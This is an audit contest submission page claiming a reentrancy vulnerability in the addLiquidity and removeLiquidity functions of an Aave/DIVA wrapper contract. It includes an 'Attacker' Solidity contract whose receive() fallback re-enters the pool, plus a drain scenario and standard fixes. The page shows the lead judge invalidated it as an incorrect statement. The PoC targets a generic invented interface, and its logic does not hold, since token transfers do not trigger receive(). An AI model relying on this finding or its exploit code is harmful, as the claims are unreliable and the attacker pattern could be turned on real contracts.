HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Potential Reentrancy in `addLiquidity` and `removeLiquidity`

Summary

In contract IAaveDIVAWrapper.sol both addLiquidity on line 169 and removeLiquidity on line 188 functions involve the transfer of tokens, and there may be reentrancy risks due to external calls like transferring tokens to recipient addresses.

Vulnerability Details

A reentrancy attack could occur when an external address being sent tokens calls back into the contract, manipulating state variables such as pool balances.

Impact

This could allow an attacker to drain funds or manipulate the pool’s liquidity.

Proof of Concept (PoC) for Potential Reentrancy in addLiquidity and removeLiquidity

Overview:

The addLiquidity and removeLiquidity functions in the contract are susceptible to reentrancy attacks due to their external token transfer calls. An attacker could exploit this by reentering the contract while it's in the middle of a state-changing operation, potentially manipulating the pool's liquidity state.

Actors:

  • Attacker: Malicious contract or user that initiates the reentrancy attack.

  • Victim: The liquidity pool or other users interacting with the contract.

  • Protocol: The liquidity contract itself.

Working Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ILiquidityPool {
function addLiquidity(uint256 amount) external;
function removeLiquidity(uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
}
contract Attacker {
ILiquidityPool public targetPool;
address public owner;
constructor(address _targetPool) {
targetPool = ILiquidityPool(_targetPool);
owner = msg.sender;
}
// Fallback function for reentrancy attack
receive() external payable {
// Re-enter the pool contract during a liquidity operation
if (address(targetPool).balance > 0) {
targetPool.removeLiquidity(1 ether); // Re-enter the removeLiquidity function
}
}
// Attack function to add liquidity, triggering the reentrancy
function attackAddLiquidity(uint256 amount) external {
targetPool.addLiquidity(amount);
}
// Attack function to remove liquidity, triggering the reentrancy
function attackRemoveLiquidity(uint256 amount) external {
targetPool.removeLiquidity(amount);
}
}
contract Test {
ILiquidityPool public pool;
Attacker public attacker;
constructor(address _pool) {
pool = ILiquidityPool(_pool);
attacker = new Attacker(address(pool));
}
function testReentrancy() external {
uint256 initialBalance = pool.balanceOf(address(attacker));
attacker.attackAddLiquidity(1 ether); // Attack the addLiquidity function
// Check if the attacker’s balance increased unexpectedly
assert(pool.balanceOf(address(attacker)) > initialBalance);
}
}

Step-by-Step Exploit Scenario:

  1. Deploy the Target Pool Contract: The attacker will deploy their malicious contract, Attacker, and point it to the target liquidity pool contract.

  2. Reentrancy Setup: The attacker will then call the attackAddLiquidity function, which triggers the addLiquidity function in the target pool. When the external token transfer occurs, the attacker’s fallback function (the receive() function) will be triggered, and the attacker will re-enter the removeLiquidity function.

  3. Reentrancy Trigger: In the middle of the addLiquidity operation, the attacker enters the removeLiquidity function via the reentrancy exploit. This could manipulate the pool's liquidity state or allow the attacker to extract more funds than initially intended.

  4. Outcome: The attacker exploits the reentrancy vulnerability and is able to withdraw more liquidity than was initially added, draining the pool or manipulating the pool’s state.

Outcome & Implications:

  • Draining Funds: If the attacker is able to re-enter the removeLiquidity function during the liquidity addition, they may be able to withdraw more tokens than they originally added.

  • Pool Instability: The attack could cause the liquidity pool’s balance to become inconsistent, leading to unexpected behavior, including loss of liquidity or disrupted operations.

Tools Used

Manual code review

Recommendations

Recommendations & Fixes:

  1. Implement the "Checks-Effects-Interactions" Pattern:

    • Before interacting with external addresses (e.g., transferring tokens), always update internal state variables first. This ensures that the state is properly set before any external calls are made, preventing reentrancy attacks.

  2. Use Reentrancy Guard:

    • Utilize the ReentrancyGuard contract from OpenZeppelin to prevent reentrancy attacks. It works by ensuring that functions cannot be called while they are already in execution.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LiquidityPool is ReentrancyGuard {
// Add Liquidity with reentrancy protection
function addLiquidity(uint256 amount) external nonReentrant {
// Logic for adding liquidity
}
// Remove Liquidity with reentrancy protection
function removeLiquidity(uint256 amount) external nonReentrant {
// Logic for removing liquidity
}
}

** 3 Ensure Transfer Logic is Safe**:

  • Always use the safeTransfer functions from the ERC20 standard (if using ERC20 tokens) to ensure token transfers are safe and can’t be exploited by reentrancy.

Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.